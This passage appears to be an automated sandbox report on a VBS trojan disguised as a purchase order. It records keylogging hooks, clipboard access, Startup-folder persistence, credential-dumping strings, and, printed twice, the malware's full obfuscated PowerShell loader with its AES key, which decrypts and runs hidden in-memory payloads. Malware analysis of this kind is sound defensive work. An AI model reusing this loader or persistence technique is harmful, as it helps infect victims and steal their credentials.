Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://ocsp.digicert.com0H
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://ocsp.digicert.com0I
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://ocsp.digicert.com0Q
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://ocsp.msocsp.com0
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://ocsp.msocsp.com0S
Source: powershell.exe, 00000006.00000002.2132405885.0000000005031000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2291219894.0000000004B91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://www.digicert.com/CPS0~
Source: powershell.exe, powershell.exe, 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.ebuddy.com
Source: powershell.exe, powershell.exe, 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.imvu.com
Source: powershell.exe, 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com
Source: powershell.exe, 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.imvu.comr
Source: powershell.exe, 0000000E.00000002.2283295225.0000000000914000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.nirsoft.net
Source: powershell.exe, 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.nirsoft.net/
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://M365CDN.nel.measure.office.net/api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=EL
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingaot
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingaotak
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingrms
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingth
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=wsb
Source: powershell.exe, 00000006.00000002.2132405885.0000000005046000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2132405885.0000000005031000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2291219894.0000000004BA7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2291219894.0000000004BB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/ODSP_Sync_Client/19.043.0304.0013?UpdateRing=Prod&OS=Win&OSV
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://cxcs.microsoft.net/api/settings/en-GB/xml/settings-tipset?release=20h1&sku=Professional&plat
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://ecs.nel.measure.office.net?TenantId=ODSP_Sync_Client&DestinationEndpoint=Edge-Prod-LAX31r5c&
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://fp-afd.azureedge.net/apc/trans.gif?0684adfa5500b3bab63593997d26215c
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://fp-afd.azureedge.net/apc/trans.gif?79b1312614e5ac304828ba5e1fdb4fa3
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://fp-vp.azureedge.net/apc/trans.gif?7ae939fc98ce1346dd2e496abdba2d3b
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://fp-vp.azureedge.net/apc/trans.gif?9f3db9405f1b2793ad8d8de9770248e4
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://fp-vs.azureedge.net/apc/trans.gif?4aec53910de6415b25f2c4faf3f7e54a
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://fp-vs.azureedge.net/apc/trans.gif?77290711a5e44a163ac2e666ad7b53fd
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://fp.msedge.net/conf/v1/asgw/fpconfig.min.json
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://fp.msedge.net/conf/v2/asgw/fpconfig.min.json?monitorId=asgw
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://logincdn.msauth.net/16.000/Converged_v22057_4HqSCTf5FFStBMz0_eIqyA2.css
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://logincdn.msauth.net/16.000/content/js/ConvergedLoginPaginatedStrings.en-gb_RP-iR89BipE4i7ZOq
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/js/ConvergedLogin_PCore_tSc0Su-bb7Jt0QVuF6v9Cg2.js
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://oneclient.sfx.ms/PreSignInSettings/Prod/2022-09-17-00-05-23/PreSignInSettingsConfig.json?One
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://oneclient.sfx.ms/PreSignInSettings/Prod/2023-10-05-06-30-24/PreSignInSettingsConfig.json?One
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://oneclient.sfx.ms/PreSignInSettings/Prod/2023-10-05-06-40-12/PreSignInSettingsConfig.json
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/update100.xml?OneDriveUpdate=14d1c105224b3e736c3c
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/741e3e8c607c445262f3add0e58b18f19e0502af.xml?OneDriveUpdate=7fe112
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/ew-preload-inline-2523c8c1505f1172be19.js
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/otel-logger-104bffe9378b8041455c.js
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-35de8a913e.css
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-async-styles.a903b7d0ab82e5bd2f8a.chunk.v7.css
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-bootstrap-5e7af218e953d095fabf.js
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-bundle-3a99f64809c6780df035.js
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-bundle-994d8943fc9264e2f8d3.css
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-fluent~left-nav-rc.ac5cfbeadfd63fc27ffd.chunk.v7.js
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-forms-group~mru~officeforms-group-forms~officeforms
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-left-nav-rc.68ab311bcca4f86f9ef5.chunk.v7.js
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-mru.2ce72562ad7c0ae7059c.chunk.v7.js
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-vendor-bundle-ba2888a24179bf152f3d.js
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-vendors~left-nav-rc.169ce481376dceef3ef6.chunk.v7.c
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-vendors~left-nav-rc.b24d6b48aeb44c7b5bf6.chunk.v7.j
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwaunauth-9d8bc214ac.css
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/sharedfontstyles-27fa2598d8.css
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/sharedscripts-939520eada.js
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/staticpwascripts-30998bff8f.js
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://res.cdn.office.net/officehub/bundles/staticstylesfabric-35c34b95e3.css
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/hero-image-desktop-f6720a4145.jpg
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/lockup-mslogo-color-78c06e8898.png
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/microsoft-365-logo-01d5ecd01a.png
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/unauth-apps-image-46596a6856.png
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/unauth-checkmark-image-1999f0bf81.png
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://res.cdn.office.net/officehub/versionless/officehome/thirdpartynotice.html
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://res.cdn.office.net/officehub/versionless/webfonts/segoeui_regular.woff2
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://res.cdn.office.net/officehub/versionless/webfonts/segoeui_semibold.woff2
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: powershell.exe, powershell.exe, 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: bhv8D61.tmp.14.dr	String found in binary or memory: https://www.office.com/

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Windows user hook set: 0 keyboard low level C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 17_2_0040BA30 GetTempPathA,GetWindowsDirectoryA,GetTempFileNameA,OpenClipboard,GetLastError,DeleteFileA,

17_2_0040BA30

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_004068B5 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalFix,ReadFile,GlobalUnWire,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,		17_2_004068B5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_004072B5 EmptyClipboard,strlen,GlobalAlloc,GlobalFix,memcpy,GlobalUnWire,SetClipboardData,CloseClipboard,		17_2_004072B5

System Summary

Very long command line found

Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 2030
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 2071
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 2030	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 2071	Jump to behavior

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}			Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: ADODB.Stream HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}			Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Roaming\dropped.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Roaming\dropped.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00402CAC NtdllDefWindowProc_A,		17_2_00402CAC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00402D66 NtdllDefWindowProc_A,		17_2_00402D66

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_004050C2	17_2_004050C2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_004014AB	17_2_004014AB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00405133	17_2_00405133
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_004051A4	17_2_004051A4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00401246	17_2_00401246
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_0040CA46	17_2_0040CA46
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00405235	17_2_00405235
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_004032C8	17_2_004032C8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00401689	17_2_00401689
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00402F60	17_2_00402F60

Source: PO#2195112.vbs

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winVBS@30/18@2/2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 17_2_00410DE1 GetCurrentProcess,GetLastError,GetProcAddress,GetProcAddress,LookupPrivilegeValueA,GetProcAddress,AdjustTokenPrivileges,CloseHandle,

17_2_00410DE1

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 17_2_0041208B FindResourceA,SizeofResource,LoadResource,LockResource,

17_2_0041208B

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\dropped.bat

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4416:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6272:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ih41ueii.2y3.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Roaming\dropped.bat

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO#2195112.vbs"

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

System information queried: HandleInformation

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: powershell.exe, 0000000E.00000002.2283024317.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: powershell.exe, 0000000E.00000002.2283024317.0000000000400000.00000040.80000000.00040000.00000000.sdmp, powershell.exe, 00000010.00000002.2273917779.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: powershell.exe, 0000000E.00000002.2283024317.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: powershell.exe, 0000000E.00000002.2283024317.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
Source: powershell.exe, 0000000E.00000002.2283024317.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: powershell.exe, 0000000E.00000002.2283024317.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: powershell.exe, 0000000E.00000002.2286448620.0000000005021000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: powershell.exe, 0000000E.00000002.2283024317.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: PO#2195112.vbs	ReversingLabs: Detection: 23%
Source: PO#2195112.vbs	Virustotal: Detection: 7%

Source: powershell.exe	String found in binary or memory: prompt"PS $($executionContext.SessionState.Path.CurrentLocation)$('>' * ($nestedPromptLevel + 1)) ";# .Link# https://go.microsoft.com/fwlink/?LinkID=225750# .ExternalHelp System.Management.Automation.dll-help.xml$global:?
Source: powershell.exe	String found in binary or memory: prompt"PS $($executionContext.SessionState.Path.CurrentLocation)$('>' * ($nestedPromptLevel + 1)) ";# .Link# https://go.microsoft.com/fwlink/?LinkID=225750# .ExternalHelp System.Management.Automation.dll-help.xml$global:?

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO#2195112.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Roaming\dropped.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('QipeuvuPHLjqQvGt9VT5aLclluvrXEdJm/QUWEGzhvQ='); $aes_var.IV=[System.Convert]::FromBase64String('K8KFKefFC/hhz69/oY9Vnw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $cxhgH=New-Object System.IO.MemoryStream(,$param_var); $XWybH=New-Object System.IO.MemoryStream; $OXCUo=New-Object System.IO.Compression.GZipStream($cxhgH, [IO.Compression.CompressionMode]::Decompress); $OXCUo.CopyTo($XWybH); $OXCUo.Dispose(); $cxhgH.Dispose(); $XWybH.Dispose(); $XWybH.ToArray();}function execute_function($param_var,$param2_var){ $sMWNP=[System.Reflection.Assembly]::Load([byte[]]$param_var); $QqvvE=$sMWNP.EntryPoint; $QqvvE.Invoke($null, $param2_var);}$orZcJ = 'C:\Users\user\AppData\Roaming\dropped.bat';$host.UI.RawUI.WindowTitle = $orZcJ;$QZlmw=[System.IO.File]::ReadAllText($orZcJ).Split([Environment]::NewLine);foreach ($HiBel in $QZlmw) { if ($HiBel.StartsWith('gXFDerXikimqJOlowotV')) { $twZns=$HiBel.Substring(20); break; }}$payloads_var=[string[]]$twZns.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SC.cmd" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('QipeuvuPHLjqQvGt9VT5aLclluvrXEdJm/QUWEGzhvQ='); $aes_var.IV=[System.Convert]::FromBase64String('K8KFKefFC/hhz69/oY9Vnw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $cxhgH=New-Object System.IO.MemoryStream(,$param_var); $XWybH=New-Object System.IO.MemoryStream; $OXCUo=New-Object System.IO.Compression.GZipStream($cxhgH, [IO.Compression.CompressionMode]::Decompress); $OXCUo.CopyTo($XWybH); $OXCUo.Dispose(); $cxhgH.Dispose(); $XWybH.Dispose(); $XWybH.ToArray();}function execute_function($param_var,$param2_var){ $sMWNP=[System.Reflection.Assembly]::Load([byte[]]$param_var); $QqvvE=$sMWNP.EntryPoint; $QqvvE.Invoke($null, $param2_var);}$orZcJ = 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SC.cmd';$host.UI.RawUI.WindowTitle = $orZcJ;$QZlmw=[System.IO.File]::ReadAllText($orZcJ).Split([Environment]::NewLine);foreach ($HiBel in $QZlmw) { if ($HiBel.StartsWith('gXFDerXikimqJOlowotV')) { $twZns=$HiBel.Substring(20); break; }}$payloads_var=[string[]]$twZns.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\oaanp"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\oaanp"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\oaanp"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\qungqkxv"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\qungqkxv"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\bxtzrdixjge"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Roaming\dropped.bat	Jump to behavior
